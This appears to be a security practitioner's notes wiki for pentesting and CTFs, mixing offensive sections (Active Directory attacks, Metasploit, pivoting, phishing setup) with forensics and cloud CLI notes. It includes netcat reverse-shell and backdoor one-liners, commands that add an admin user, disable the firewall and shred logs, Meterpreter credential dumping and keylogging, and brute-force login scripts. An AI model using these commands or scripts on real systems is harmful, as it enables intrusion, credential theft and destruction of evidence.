[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$CatFact = (ConvertFrom-Json (Invoke-WebRequest -Verbose -Uri https://catfact.ninja/fact -UseBasicParsing))
$CatFact.fact
$SpeechSynth.Speak("Did you know ?")
$SpeechSynth.Speak($CatFact.fact)
```


# Cmd

Windows cmd might be old but is still a very useful tool!

| Command                                                         | Output                                                               |
| --------------------------------------------------------------- | -------------------------------------------------------------------- |
| `type flag.txt`                                                 | Read the output of `flag.txt` like the cat command                   |
| `type *.txt`                                                    | Output of all `*.txt` files in current dir                           |
| `more flag.txt`                                                 | Read one page at a time of the file                                  |
| `type flag.txt \| find /i "flag{"`                              | Search for a string in a file                                        |
| `type flag.txt \| findstr "flag.*$"`                            | Searches for a regex string in a file                                |
| `dir /b /s C:\msbuild.exe`                                      | search for a file named `msbuild.exe` in the `C:\` drive recursively |
| `net user`                                                      | List local users                                                     |
| `net localgroup`                                                | local groups                                                         |
| `net localgroup administrators`                                 | Members of local admin group                                         |
| `net user haha lmao /add`                                       | Adds a user named `haha` with the pw `lmao`                          |
| `net localgroup administrators haha /add`                       | Adds the `haha` user to the local administrators group               |
| `netsh advfirewall show allprofiles`                            | See the config of the built-in firewall                              |
| `netsh advfirewall set allprofiles state off`                   | Turn off the built in firewall                                       |
| `reg query [key name]`                                          | Read a key                                                           |
| `reg add [key name] /v [value] /t [type] /d [data]`             | adding a reg key                                                     |
| `net use \\10.0.0.1 lmao /u:haha`                               | Connect to host 10.0.0.1 on SMB for user `haha` with pwd `lmao`      |
| `sc query`                                                      | List all running services                                            |
| `sc query state=all`                                            | List ALL services                                                    |
| `sc qc VSS`                                                     | List information about one specific service                          |
| <p><code>sc start VSS</code></p><p><code>sc stop VSS</code></p> | Start/stop a service                                                 |


# Privilege Escalation

AlwaysInstallElevated

fodhelper (<https://medium.com/cybersecpadawan/utilizing-a-common-windows-binary-to-escalate-to-system-privileges-c16482cced4b>)


# Active Directory

## Attack Workflow

Determine what ports are open

Enumerate with&#x20;

* [ ] Determine open ports
  * [ ] Scan ports with Nmap to fingerprint
* [ ] Enumerate AD information
  * [ ] Domain info
  * [ ] rpcclient
  * [ ] enum4linux
* [ ] Get list of users
  * [ ] If list not available, bruteforce usernames
  * [ ] Determine if kerberos pre-auth exists
  * [ ] Determine which users have SPNs (Service Principle Names)

## enum4linux

Used to enumerate a huge amount of AD information from the command line.

```bash
enum4linux -a 10.1.1.10        # Attempts to enumerate everything at target
enum4linux -u administrator -p password -U 10.1.1.10    # Use stolen creds to enumerate all users
enum4linux -S 10.1.1.10        # Attempt to gather SMB shares
```

## rpcclient

Used to enumerate information about system over RPC

Gather a list of accounts with `rpcclient` and save

```
rpcclient -U 'GOBLINS\printerldap%SecurePassword1' 10.0.0.1 -c 'enumdomusers;exit' | awk -F '[' '{print $2}' | awk -F ']' '{print $1}' > goblinUsers.txt
```

## Password Spraying

Using a tool such as Talon can run password spray attacks across an AD env

## Kerberos

Kerbrute, used to run various kerberos attacks. Written in Go. <https://github.com/ropnop/kerbrute>

```bash
./kerbrute_linux_amd64 userenum --dc 10.10.107.154 -d spookysec.local ../userlist.txt
```

## Kerberoasting

Using a valid account on a pwned box, we can gather tickets for service accounts and extract the hash to crack. We must find all accounts in AD which have a SPN (Service Principle Name), then request RC4 tickets from the DC.

## secretsdump

Used to extract hashes from a server. Below command will get NTDS.dit, assuming that you have an account with those permissions.

```bash
impacket-secretsdump -just-dc backup:backup2517860@10.10.107.154
```

![AD Detailed Mind Map](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MUBcWDIntFMCfIaMka5%2Fuploads%2F7E3kA4T4bA6RbkRYL8sX%2Fpentest_ad_black.png?alt=media\&token=636dffbf-b1ac-44a7-b39f-080122e114bc)

<https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg>


# Bloodhound


# Social Engineering

Website Credential Harvesting

Utilize SEToolkit to clone a website

```
Social engineering toolkit credential phishing attacks

Open the SET
    sudo setoolkit

Social Engineering Attacks (1)
Website Attack Vectors (2)
Credential Harvester (3)

CAN utilize HTTPS with https://github.com/trustedsec/social-engineer-toolkit/issues/467
```

we CAN use vhosts with SET and enforce Let's Encrypt certs for legitimacy

CAN utilize HTTPS with <https://github.com/trustedsec/social-engineer-toolkit/issues/467>

Ok, register a new domain with freenom

<https://ostechnix.com/configure-apache-virtual-hosts-ubuntu-part-1/>

configure the vhosts

<https://www.digitalocean.com/community/tutorials/how-to-set-up-let-s-encrypt-certificates-for-multiple-apache-virtual-hosts-on-ubuntu-14-04>

grab new lets encrypt certificates-for-multiple-apache-virtual-hosts-on-ubuntu-14-04

update config at /etc/setoolkit to enable the APACHE server and update the location Ok, when cloning the site with the HTTPS cert enabled in the config, the POST requests in the php file send it over HTTP, which brings an error up in browsers saying that it's insecure. Even though the rest of the site is over HTTPS and has a good cert.

Looking in the index.html file we see that there's no vhost and that it has the action for http

edit lines 497 and 498 which have hardcoded apache dir in harvester.py

ok yep that was def it, create a PR to fix this? update apache2 package name as well??


# Netcat & Socat

Netcat rocks my socks

## Netcat

### Basics

Connect to a socket on host `192.168.1.1` on TCP port 81

```bash
nc 192.168.1.1 81
```

Listen on the local machine for inbound TCP connections on port 81

```
nc -nvlp 81
```

Reverse shell sent to host `10.0.0.2` over TCP port 53

```bash
nc 10.0.0.2 53 -e /bin/bash
```

Backdoor listening on TCP 80 set to execute cmd.exe when connected

```bash
nc -nvlp 80 -e cmd.exe
```

### More Fancy

Attempt to connect to each port from 10-90 on `10.0.0.1`, don't resolve any names `-n`, don't send any data `-z`, and only wait 1 second for a connection `-w1`

```bash
nc -nvzw1 10.0.0.1 10-90
```

Netcat stops listening after the connection drops or is terminated, which can make getting another shell back annoying. Placing `nc` in a bash true loop is an easy way to work around this, use `nohup` also!

```bash
while [ 1 ]; do echo “started”; nc -l -p 1234 -e /bin/sh; done
```

Netcat relay used to forward everything received by the host on TCP 4321 sent to `10.0.0.1` on TCP 8123

```bash
nc -l -p 4321 | nc 10.0.0.1 8123
```

Create a `netcat` backdoor without `-e` support. This generates a named pipe which is used to funnel data between `bash` and `nc`.&#x20;

```bash
mknod backpipe p
/bin/bash 0<backpipe | nc -l -p 8080 1>backpipe
```

### Firewall Evasion

If a specific port is blocked at the firewall, netcat can be used to pipe through authorized ports. Using the named pipe we can pipe the data thru to the nc output

```bash
mknod mypipe p
nc -lp 80 < mypipe | nc 127.0.0.1 22 > mypipe
ssh backdoor@m4lwhere.org -p 80    # Attcker command to connect to ssh piped thru port 80
```

## Socat

socat is a program which can be used for enhanced netcat usage. Supports SSL and forking

```
# Below command listens locally on 8080, forwards connections to 10.0.0.1:80
socat -v tcp4-listen:8080,reuseaddr,fork TCP4:10.0.0.1:80

# Listen with SSL and send to std out
socat openssl-listen:8443,reuseaddr,cert=ssl.pem,verify=0,fork stdio
```


# File Transfers

Netcat

Move files by redirecting output

```bash
nc -nvlp 8081 
```


# Metasploit

Who cares if it's easy, that's the point right?

### Common Uses

Using the `exploit/multi/handler` to catch reverse shells and manage several sessions. Make sure that you have the correct payload to catch.

Use the `exploit/windows/smb/psexec` module with known credentials to create easy meterpreter sessions to pivot and exploit further. Can set the `SERVICE_FILENAME` option to remove the random garbage used, because its suspicious (using something like `svchost` helps hide!).

### Meterpreter

Payload with fancy shell, series of DLLs injected into a process memory and doesnt touch the disk, no separate process created. All comms over meterpreter are TLS encrypted unless specifically told not to.

```bash
# Below adds a port fwd, localhost:1234 -> meterpreter -> 10.0.0.1:22
meterpreter > portfwd add -l 1234 -p 22 -r 10.0.0.1

# Below adds a route to move all traffic for a subnet thru meterpreter session #1
msf > route add [subnet] [netmask] [session id]
msf > route add 10.0.1.0 255.255.255.0 1    # routes thru session 1 for 10.0.1.0/24
msf > route add 10.0.0.5 255.255.255.255 1  # routes thru session 1 for host 10.0.0.5
```

#### Managing Meterpreter Sessions

Sessions are managed with the `sessions -l` command. Channels inside of sessions are managed with `channels -l` command. Upgrade existing shells with the `sessions -u 1` command.

`CTRL-Z` will background a channel or session

Load additional modules using `use [module name]`

#### Mimikatz in Meterpreter

We can load mimikatz directly into a running meterpreter session, giving us serious power. Need to be running as `SYSTEM`, and we need to make sure the process we're in is the same architecture as the host.

Check if we're in matching arch types with `sysinfo`. Check the `Architecture` and `Meterpreter` info to make sure they match. If we need to move, check which running processes have the correct arch and are running as `SYSTEM` also with `ps -A x64 -s`, then we can move with `migrate [PID]`. Validate the arch and meterpreter types match with `sysinfo` again.

Now we can import the mimikatz module with `load kiwi`. Running `help` will show our new mimikatz commands we can use. Using `creds_all` will dump all available hashes and plaintext passwords!

#### Meterpreter Commands

| Command                                                                                              | Function                                                |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------- |
| `help`                                                                                               | shows all available commands                            |
| `sysinfo`                                                                                            | Shows computer name, OS, and kernel information         |
| `shell`                                                                                              | Launch a command shell on the host                      |
| `getpid`                                                                                             | show process ID of current meterpreter process          |
| `getuid`                                                                                             | shows current user ID meterpereter is running under     |
| `ps`                                                                                                 | get list of processes                                   |
| `migrate`                                                                                            | attempts to move to a different process ID              |
| `cd` / `lcd`                                                                                         | change dir, local change dir                            |
| `ls` / `lls`                                                                                         | list contents, local list contents                      |
| `download`                                                                                           | download a file from the machine                        |
| `upload`                                                                                             | upload a file to the machine                            |
| `edit`                                                                                               | edit a file using vi or nano                            |
| `ipconfig`                                                                                           | show host networking information                        |
| `route`                                                                                              | displays, adds, or deletes host routing table           |
| `portfwd`                                                                                            | forwards traffic to a different location as a TCP relay |
| `creds_all`                                                                                          | Mimikatz meterpreter module as kiwi                     |
| `hashdump`                                                                                           | gather hashes from host memory, requires SYSTEM privs   |
| `run hashdump`                                                                                       | Pulls from the registry (SAM and Syskey)                |
| `run post/windows/gather/smart_hashdump`                                                             | Gathers from the disk NTDS.dit and SAM                  |
| `run post/windows/gather/hashdump`                                                                   | Pulls from registry (SAM and Syskey)                    |
| `screenshot -p /tmp/screen.jpg`                                                                      | grabs a screenshot of the desktop                       |
| `uictl`                                                                                              | Turn user devices on or off                             |
| <p><code>webcam\_list</code></p><p><code>webcam\_snap</code></p>                                     | Take control of a webcam available to the host          |
| <p><code>keyscan\_start</code></p><p><code>keyscan\_dump</code></p><p><code>keyscan\_stop</code></p> | Keystroke logger to gather information as its typed     |

### Arsenal

Modular combination of scanners, exploits, payloads, and post modules.

| User Interface | Purpose                                                                          |
| -------------- | -------------------------------------------------------------------------------- |
| `msfconsole`   | Basic MSF prompt for exploitation                                                |
| `msfd`         | Daemon listening on TCP 55554 allowing msfconsole access to anyone that connects |
| `msfrpcd`      | XMLRPC controlled MSF, default TCP 55553 using SSL                               |
| `msfcli`       | MSF with all options specified in a single command, useful for scripting         |
| `msfvenom`     | Used to generate malicious payloads and binaries                                 |

### Modules

| Module Name | Purpose                                                    |
| ----------- | ---------------------------------------------------------- |
| `auxiliary` | Port scanners, DoS tools, login checks, etc                |
| `encoders`  | Convert exploits and payloads to attempt to bypass filters |
| `exploits`  | Exploits used to attack a system                           |
| `nops`      | Create NOP sleds                                           |
| `payloads`  | Huge list of payloads based on system and type             |
| `post`      | Post-exploitation modules to futher exploit a system       |

### Troubleshooting

Having issues importing a module? make sure that you check the logs at `~/.msf4/logs/framework.log`


# Writing Modules

Modules can be written much easier that you think.

### References

[Metasploit Class List and Methods](https://www.rubydoc.info/github/rapid7/metasploit-framework/master/Msf/Module/UI/Message)

[Example webapp module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example_webapp.rb)

[Walkthru on creating and submitting a module](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit)


# PS Empire

PowerShell Empire used to manage C2 nodes

## Install

Install for kali via apt using:

```bash
sudo apt install powershell-empire
```

<https://bc-security.gitbook.io/empire-wiki/quickstart/installation>&#x20;

## Starting the Server

Once installed, you must run the server before we can connect clients. The clients are used to connect to the server to interact and generate payloads. Must be run with sudo!

```bash
sudo powershell-empire server
```

## Connect to the server

Connect to the server using a client with the command below. This allows us to generate payloads. By default, this will try to connect to localhost.

```bash
powershell-empire client
```

## Creating a Listener

We must have a listener active before we can generate a stager.&#x20;

<https://bc-security.gitbook.io/empire-wiki/quickstart#listeners-101>&#x20;


# Priv Escalation

LinPEAS, WinPeas, linux-exploit-suggester

```bash
sudo -l        # List permissions in sudo
sudo -l -l     # List allowed sudo commands
wsl -u root visudo    # Fix broken WSL sudo file
```

Find writable directories available to current user

```
find / -type d -perm 0222 2>/dev/null
```


# Post Exploitation

Ok, now what do we do??

Kill shell without saving history file

```bash
kill -9 $$        # The $$ var always returns the PID of running shell
HISTSIZE=0        # Prevent system from storing any entered commands
PATH=$PATH:/root/newhackingtool    # Adds new folder to path, preserves existing path
shred -f -n 10 /var/log/auth.log.*    # shread all auth logs ten times :)
service rsyslog stop    # disable all system logging
```


# Pivoting

## SSH Local Port Forwarding

Forwarding one port on the client system to exactly one port accessible from the SSH pivot server. It's still confusing no matter how many times I read it.

```bash
# Below sets up local port 8123 forwarded thru victim to reach port 80 on target.local
ssh -L 8123:target.local:80 pwner@victim
    curl localhost:8123
    attacker:8123 -> 10.0.0.1:22 -> 10.0.0.5:80

# Below creates a tunnel with the established private key. Creates tunnel on https://localhost:4443
sudo ssh -i ~/.ssh/id_rsa -X -Y -C -g -L 4443:1.1.1.1:443 kali@2.2.2.2
 
# Below forwards a port on the victim localhost to be accessible (i.e. MySQL for localhost only)
ssh -L 3306:localhost:3306 pwnt@victim
    mysql -u root -p
```

## SSH Dynamic Port Forwarding

SOCKS Proxy used to forward several ports. Can use `proxychains` to help non-proxy aware programs to reach the intended destination. Do not try to port scan through a SOCKS proxy, it is VERY SLOW!!

```bash
ssh -D 9123 pwnt@victim
```

## SSH Remote Port Forwarding

A port on the pivot system is forwarded to a local port, not commonly used.

```bash
ssh -R :8123:localhost:80
ssh -R :8000:www.google.com:80
```

## Meterpreter/MSF Forwarding

Can use built in mechanisms in meterpreter/msf to port forward or route easily

```bash
# Cmd below will create a local port on 0.0.0.0:4321 to reach target:80
meterpreter > portfwd add -l 4321 -r target -p 80
```

## Socat

We can use socat to forward to new machines easily

```
# Below command listens locally on 8080, forwards connections to 10.0.0.1:80
socat -v tcp4-listen:8080,reuseaddr,fork TCP4:10.0.0.1:80
```

## IPtables

Iptables can be used to forward connections if we have root level access

```
# Must enable IP forwarding
sudo sysctl net.ipv4.ip_forward=1

# or do the following...
sudo echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf

# Now we can redirect...
iptables -t nat -A PREROUTING -p tcp -dport 1234 -j DNAT --to-destination 10.0.0.1:80
```

## Windows Portproxy

This is a lesser-known function of `netsh` where we can redirect ports on a windows box

```
# Listen on 8123 and forward connections to 10.0.0.1:80
netsh interface portproxy add v4tov4 listenport=8123 connectport=80 connectaddress=10.0.0.1

# To view existing portproxy commands:
netsh interface portproxy show all
```

## Ngrok

We can use ngrok to forward our own local connections to exploited machines


# Certs and Secrets

how to generate and analyze certificates

Searching for key material (keymat) within many files.

### Tools

sshgit

gitleaks (docker container)

wget -r (recursively download an exposed .git directory)

### Git

git branch

git log

git checkout \<commit hash> \<deleted file/folder>

git show


# NGROK

Using ngrok to access internal services

### Purpose

Ngrok allows us to share internal services to Internet facing systems. It's an incredibly useful way to access internal systems or create a way to directly access sensitive network systems.

### Setup

Visit [ngrok.com](https://ngrok.com) to get set up with an account.&#x20;

Download the tool at [`https://ngrok.com/download`](https://ngrok.com/download)

Configure the ngrok preferences with the applicable key

```
ngrok config add-authtoken ***REDACTED KEY***
```

### Usage

As always, we ask for help to learn what to do.

`ngrok help`

To start a listener, we can simply run the code below:

`ngrok http 9999`

This will result in a window similar to below:

![After starting the listener, this shows the web interface to reach the internal port](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MUBcWDIntFMCfIaMka5%2Fuploads%2FjmisW7ELFp3bbykCKzD5%2F123.png?alt=media\&token=2f0e45a9-a30a-4646-8d82-1d5994cc8c77)

In the example above, we can directly access the service on localhost:9999 by accessing the page at [`https://7807-52-22-69-233.ngrok.io`](https://7807-52-22-69-233.ngrok.io). This was a python3 simple http server on that port.

```
EXAMPLES:
    ngrok http 80                    # secure public URL for port 80 web server
    ngrok http -subdomain=baz 8080   # port 8080 available at baz.ngrok.io
    ngrok http foo.dev:80            # tunnel to host:port instead of localhost
    ngrok http https://localhost     # expose a local https server
    ngrok tcp 22                     # tunnel arbitrary TCP traffic to port 22
    ngrok tls -hostname=foo.com 443  # TLS traffic for foo.com to port 443
    ngrok start foo bar baz          # start tunnels from the configuration file

```


# Misc.

Unicode Spoofing

```
m4lwhere      # Plain latin characters
ⅿ4lѡһеrе      # Adding unicode characters to spoof
```

{% embed url="<https://unicodelookup.com>" %}

{% embed url="<https://www.branah.com/unicode-converter>" %}

{% embed url="<http://www.irongeek.com/homoglyph-attack-generator.php>" %}


# Defensive Notes

Collection of defensive notes gathered throughout many years of CTFs and personal research

Most common bits used


# Windows Forensics

Windows Subsystem for Linux stores all linux files at&#x20;

```bash
\\wsl$\
```


# Program Execution Artifacts


# ASEP Locations


# Event Logs


# Linux Forensics

Accounting entries:

* utmp
  * Info about currently logged in users
* wtmp
  * Data about past user logins
* btmp
  * Bad login entries for failed login attempts
* lastlog
  * Shows login name, port, and last login time for each user


# Network Forensics

Packet Capture (PCAP) files capture live network traffic to a file for deep analysis. PCAP files contain all bytes captured and can be used to reconstruct entire TCP, UDP, and other data streams.

## Programs and Tools

There are several different programs that can be used to analyze a pcap file, the most ubiquitous prorgam is none other than [**Wireshark**](https://www.wireshark.org/). Wireshark is a GUI based pcap analysis and capture program which makes gathering and analyzing captures a breeze. Wireshark also has tons of built-in protocol dissectors which help analyze and present raw bytes in human a readable and digestible format.

[**Tshark**](https://www.wireshark.org/docs/man-pages/tshark.html) is a terminal based program provided by Wireshark which brings the power of the terminal to Wireshark's framework. When paired with simple bash scripting and display filters, Tshark creates an unbelievably powerful analysis tool.

[**Scapy**](https://scapy.net/) is a python based packet manipulation library which is another powerful tool. Scapy is useful to craft packets, but can also be used to analyze capture files as well. Since this library is python based, it can be used to create robust networking programs.

[**Tcpdump**](https://www.tcpdump.org/) is a classic network capture and monitoring tool which uses the Berkley Packet Filter (BPF) syntax.

## Analysis

Now this is where the rubber meets the road. It's all fun and games to have a pcap file, but if you can't analyze it then the pcap is worthless.

Opening the file in Wireshark we can see all sorts of colors, each one is for a different protocol or specific TCP flag. Right clicking on a packet, we can choose `Follow > TCP Stream` to see the data transferred over a TCP connection.

![Follow a TCP stream in Wireshark](https://i.imgur.com/c8Mnndb.png)

We will be presented with the data transferred over this specific TCP stream, and if it's plaintext, be able to easily read what's happening. In this specific stream, we can watch a user log into an FTP session and put his password in. Pretty cool!

![This shows the login and password used for this FTP server](https://i.imgur.com/DwEDSzy.png)

There's plenty more to find in pcap, this is simply a primer. Get out there and find it!


# tshark

`tshark` is used to perform packet analysis at the terminal and provides a ton of insanely powerful capabilities.&#x20;

The command below will take a pcap file as input, limit to only IP 192.168.1.1 sending ICMP packets, then extract any data carried over ICMP. We can then perform additional analysis on all of the data.

```bash
tshark -r packets.pcap -Y "ip.src == 192.168.1.1 && ICMP" -T fields -e data.data
```

Quick analysis and easy to analyze packets

```bash
tshark -i eth0 -w packets.pcap    # Capture all packets on eth0 and save to packets.pcap
tshark -r packets.pcap -c10       # Read the first 10 packets from packets.pcap
tshark -xr packets.pcap           # Display all packets in hexdump (ASCII) format from file
tcpdump -Xr packets.pcap          # Similar to above command, just in tcpdump instead
```

Summary Statistics

```bash
tshark -z help                                    # Get help for statistics
tshark -r packets.pcap -z conv,ip                 # Stats about IP conversations in pcap
tshark -r packets.pcap -z http,tree               # Breakdown of HTTP requests and responses
tshark -r http.pcap -z follow,tcp,ascii,0         # Follows the stream of TCP 0 displayed in ASCII, similar to GUI
tshark -r packets.pcap -z follow,udp,ascii,10.1.1.1:52344,10.1.1.2:53        # Follow a UDP stream

# Additional fun statistical options
ip_hosts,tree        # Display every IP in capture with stats
io,phs               # Protocol hierarchy showing all protocols found in capture
http,tree            # Stats for HTTP requests and responses
http_req,tree        # Stats for HTTP requests only
smb,srt              # Stats for SMB to analyze Windows activity
endpoints,wlan       # Displays all wireless endpoints
expert               # Shows all expert info, chats & errors and stuff
```

Timestamp format

```bash
tshark -r packets.pcap -t ad        # Absolute time (in local time zone) with date
tshark -r packets.pcap -t ud        # Absolute time (UTC) with date packet was captured
tshark -r packets.pcap -t e         # Epoch time
```


# Wireshark Filters

Filters can be used by wireshark to limit the amount of items identified in a capture. Filters are displayed with comparison operators&#x20;

| Operator   | Comparison                   |
| ---------- | ---------------------------- |
| `==`       | equals                       |
| `!=`       | not equal                    |
| `>`        | greater than                 |
| `<`        | less than                    |
| `>=`       | greater than or equal        |
| `<=`       | less than or equal           |
| `contains` | value is inside of the field |
| `matches`  | regex matching for a field   |
| `&&`       | and                          |
| `\|\|`     | or                           |
| `!`        | not                          |


# Memory Forensics

Gathering and analyzing memory images

## Gathering Memory

There are a handful of different tools which can be used to gather memory. Some of these include:

* winpmem (<https://github.com/Velocidex/WinPmem>)
  * `winpmem_mini_x64.exe physmem.raw`
* procdump (<https://learn.microsoft.com/en-us/sysinternals/downloads/procdump>)
* FTK Imager

### IMPORTANT WHEN GATHERING MEMORY

Always <mark style="color:yellow;">make sure that the OS information is gathered</mark> in conjuction with the image information! This can be achieved on windows machines with the `ver` command. After, we can `grep` for the version information through the `vol.py --info` output.

## Analyzing Memory

Volatility is one of the most common tools to use in memory investigations.

{% embed url="<https://www.varonis.com/blog/how-to-use-volatility>" %}

Keep in mind that the current release of Volatility still uses Python 2, and the newest version of volatility is still in beta.

### Volatility Usage

`./vol.py -f [image file] --profile [profile] [plugin]`

In order to use this effectively, we need to know the profile of the memory image before we can analyze it properly. This is because each separate version of OS, including minor releases, can have drastically different locations in memory where objects are stored.

The following env vars can be set to speed up the usage of Volatility and prevent having to type in the file location and profile info for each run.

* `VOLATILITY_LOCATION`
* `VOLATILITY_PROFILE`

### Common Plugins

| Plugin        | Purpose                                                            |
| ------------- | ------------------------------------------------------------------ |
| `-h [plugin]` | Learn plugin options for individual plugin                         |
| `--info`      | List all available plugins                                         |
| `imageinfo`   | Attempt to determine OS of image (slow)                            |
| `kdbgscan`    | Attempt to determine OS of image (slow)                            |
| `pslist`      | List system processes                                              |
| `pstree`      | List processes in a tree format, showing parents and relationships |
| `psscan`      | Search for potentially hidden processes                            |
| `netscan`     | Search for active and listening sockets                            |
| `userassist`  | Track program usage from GUI                                       |
| `cmdline`     | Identify command line for processes which were running             |
| `printkey`    | Print the output of a registry key                                 |
| `svcscan`     | List services on the system                                        |
| `dlllist`     | List DLLs for each process                                         |

## References

{% embed url="<https://www.varonis.com/blog/how-to-use-volatility>" %}


# Stego

Images

`convert in.png -alpha off out.png` to remove transparency from an image


# Malware Analysis


# Volatility


# Scope and Shared Responsibility

Shared responsibility is the concept for determining who is in charge of certain areas in a cloud platform. AWS operates, manages and controls the components from the host operating system and virtualization layer down to the physical security of the facilities in which the service operates. The customer assumes responsibility and management of the guest operating system (including updates and security patches), other associated application software as well as the configuration of the AWS provided security group firewall.

![Example of AWS shared responsibility](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MUBcWDIntFMCfIaMka5%2Fuploads%2F2mSDu7w6zLvSxdovzl8K%2FShared-Responsibility-by-Service-Type.png?alt=media\&token=eb54ee00-a0b5-4ba6-b464-74c517d0ed92)

AWS - <https://aws.amazon.com/compliance/shared-responsibility-model/>

Azure - <https://docs.microsoft.com/en-us/azure/security/fundamentals/shared-responsibility>


# AWS CLI

Install via pip

### Create a Profile

This allows us to store the Access Key ID and Secret Key in a ready to use profile.

`aws configure --profile myNewProfile`

After, we can call the profile to ask what info can be gathered about the user.

`aws sts get-caller-identity --profile myNewProfile`

## S3

AWS S3 is used for storage&#x20;

`aws s3 ls --profile myNewProfile`

`aws s3 ls s3://myNewBucket/ --profile myNewProfile`

Copy a file from the bucket to local dir

`aws s3 cp s3://myNewBucket/lol.txt ./ --profile myNewProfile`

Don't forget to check for open buckets!

{% embed url="<https://grayhatwarfare.com/>" %}

## EC2

We can gather information about our instances to include public IPs and security groups

```
aws ec2 describe-instances --profile myNewProfile
aws ec2 describe-instances --profile myNewProfile | jq '.Reservations[] | .Instances[] .PublicIpAddress'
```

Create a keypair to be used in EC2

`aws ec2 create-key-pair --profile m4lwhere --key-name m4lwhere --query 'KeyMaterial' --output text > ~/.ssh/m4lwhere.pem`

## More Notes

{% embed url="<https://0xn3va.gitbook.io/cheat-sheets/cloud/aws>" %}


# Azure CLI

## Installation

Install via APT

`apt install azure-cli`

{% embed url="<https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-linux?pivots=apt>" %}

## Configure

Log into the tool with either interactive login or inline

`az login`

`az login -u user@m4lwhere.org -p lmaoPass`

## AZ AD Analysis

We can start to analyze things about Azure AD

`az ad signed-in-user show`

`az ad user list -o table`

A slightly easier to view table

`az ad user list --query '[].{DisplayName:displayName,UserPrincipalName:userPrincipalName,UserType:userType}' -o table`

Find a list of the users in the domain and their permissions

`az role assignment list -o table`

## AZ VM Analysis

Find all of the systems assigned and running&#x20;

`az vm list -o table --resource-group m4lwhere-resources`

Get additional information

`az disk list -o table --resource-group m4lwhere-resources`

Now we may be able to check for any snapshots of the systems

az snapshot list -o table


# SaaS Attacks

Software as a Service is used to provide a specific application to a customer. This includes Office 365, Gmail, and Salesforce.&#x20;

Data is the goal of SaaS testing. Generally this is user login information. We cannot launch exploits on the underlying infrastructure, this would be OOS.


# PaaS

Platform as a Service: Similar to container-based orchestration.&#x20;

For testing, we can exploit the application, but not the underlying host.


# Programming Notes

This contains all of the notes for programming I've learned over the years. Specifically, this is mostly python, pwn, with a bit of C. I'm planning on learning Go and C++ in the future🤓

I use vim, with a pretty straight fwd vimrc

Vim commands


# Examples and Quick Scripts

This is a page of quick wins and scripts written to achieve certain goals. Copy/paste parts as needed!

## Python

### FTP Brute Force

Brute forces all passwords from `words.txt` for the username `secure_usertry/except` loop.

```python
from ftplib import FTP
import time

ftp = FTP()
HOST = 'services.ftp.site'
PORT = 2121
ftp.set_debuglevel(2)


dictionary = 'words.txt'
password = None

with open(dictionary, 'r') as f:
  for line in f.readlines():
    password = line.strip('\n')
    print('trying ' + password)
    time.sleep(0.001)
    try:
      ftp.connect(HOST, PORT)
      ftp.login(user='secure_user', passwd=password)
      ftp.quit()
    except:
      pass
print(password)
```

### RC4 Brute Force

ARC4 brute forcing script written to try and decrypt a string. The decryption attempt is passed to another loop to try and determine if the string is readable ASCII or not. I chose not to pause or quit the loop because I was getting some false positives.

```python
from arc4 import ARC4

cipher = b'\x55\x34\xe1\xb2\x17\xdc\x2a\xc5\x21\x26\x77\xe3\xae\x56\xed\x42\xc3\x28\x10\x40\x0a\xfc\xa2\x1d\xef\xab\x11\x1b\xc7'

with open("big_set.txt", "r") as keys:
        for line in keys:
                line = line.strip()
                arc4 = ARC4(bytes(line, 'utf-8'))
                new = arc4.decrypt(cipher)
                try:
                        decoder = bytes.fromhex(new.hex()).decode('utf-8')
                        print("Key " + line + " made this:\n" + decoder)
                except UnicodeDecodeError:
                        pass
```

### Zip File Brute Force Guess with B64 Password

This script will attempt to unzip an archive with a password from rockyou. This particular challenge said the password was base64 encoded, which is what the first part of the loop is for. Second part of loop is a try/except loop to pass the unzip error with wrong password.&#x20;

Alternatively, one could get the zip hash then convert the rockyou list into base64 for each line - I chose to NOT do this to prevent having an extra rockyou file full of base64.

```python
import base64
import zipfile

dictionary = '/mnt/d/hashcat-6.0.0/rockyou.txt'

with open(dictionary, 'r', errors='ignore') as f:
    for line in f.readlines():
        password = line.strip('\n')
        #print(f'Raw password is {password}')
        encoded = base64.b64encode(str.encode(password))
        #print(f'Encoded password is {encoded}')

        with zipfile.ZipFile('./base64.zip','r') as zip_ref:
            try:
                zip_ref.extractall(pwd=encoded)
                print(f'Found! Password is {password}, encoded is {encoded}!')
                quit()
            except:
                pass
```

### Connect to a Website, Establish Session, and Send Data

Establishing a session prevents multiple TCP connections from having to be opened. Additionally, taking the JSON and interpreting natively makes things useful!

```python
import requests
import json
url = 'https://captcha.lol'

header = {'User-Agent':'bot'}
s = requests.Session()
r = s.get(url,headers=header)

ans = json.loads(r.text)

code = ans['code']
nonce = ans['nonce']
print(code)
print(nonce)
p = s.post(url, json=ans, headers=header)

print(p.text)
```

### PIN Brute Force for Web Login

This script adds a pin guess for a web login attempt. The pin is zfilled which makes 4 to 004. Additionally there’s a regular expression to find if access was denied or not and give what the PIN was while breaking out of the loop. A final print statement lets me know that they were all looped through, useful when I wasn't sure if my requests were properly formatted.

```python
import urllib
import requests
import re

url = "https://vuln.server/admin_login"

pin = 0

while pin < 1000:
    #headers = {'Cookie' : 'PHPSESSID=qhq84atma883hio9eso7hhsr4j'}
    payload = {'email':'sysadmin@vuln.server','password':str(pin).zfill(3)}
    req = requests.post(url, data=payload, allow_redirects=True)
    if not re.findall('Access Denied', req.text):
        print(f'\npin is {str(pin).zfill(3)}!\n')
        break
    print(str(pin).zfill(3), req.status_code, len(req.content))
    pin = pin + 1

print('finished testing')
```

### Username Guessing based on Timing Analysis

This script pays attention to the timing between good usernames and bad ones to help determine if a username is valid.

```python
import requests
from string import ascii_lowercase
with open('surnames.txt') as f:
    lines = f.read().splitlines()
for lname in lines:
    for init in ascii_lowercase:
        username = init+lname
        r = requests.post('http://m4lwhere.org/login.php', data = {'user':username,'pass':'haha'})
        roundtrip = r.elapsed.total_seconds()
